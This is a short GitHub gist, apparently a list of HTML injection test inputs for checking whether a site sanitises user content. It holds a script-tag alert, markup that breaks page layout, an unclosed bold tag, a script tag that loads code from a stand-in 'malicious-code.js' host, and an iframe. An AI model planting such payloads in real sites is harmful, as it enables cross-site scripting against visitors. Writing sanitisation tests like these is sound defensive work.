Skip to content

Instantly share code, notes, and snippets.

@sigmaray
Created April 14, 2014 17:09
Show Gist options
  • Save sigmaray/10666127 to your computer and use it in GitHub Desktop.
Save sigmaray/10666127 to your computer and use it in GitHub Desktop.
<!-- #1 -->
<script>
$(document).ready(function() {
alert('JavaScript injection');
});
</script>
<p>Some text here</p>
<!-- #2 -->
<!-- Trying to break page's layout -->
</div>
<p>Some text here</p>
<!-- #3 -->
<!-- Trying to make rest of the page bold (b tag is not closed) -->
<p>Some content</p>
<b>
<!-- #4 -->
<!-- Loading script from external resource -->
<script src=http://www.example.com/malicious-code.js></script>
<p>Some content</p>
<!-- #5 -->
<iframe src="http://www.w3schools.com"></iframe>
<p>Some content</p>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment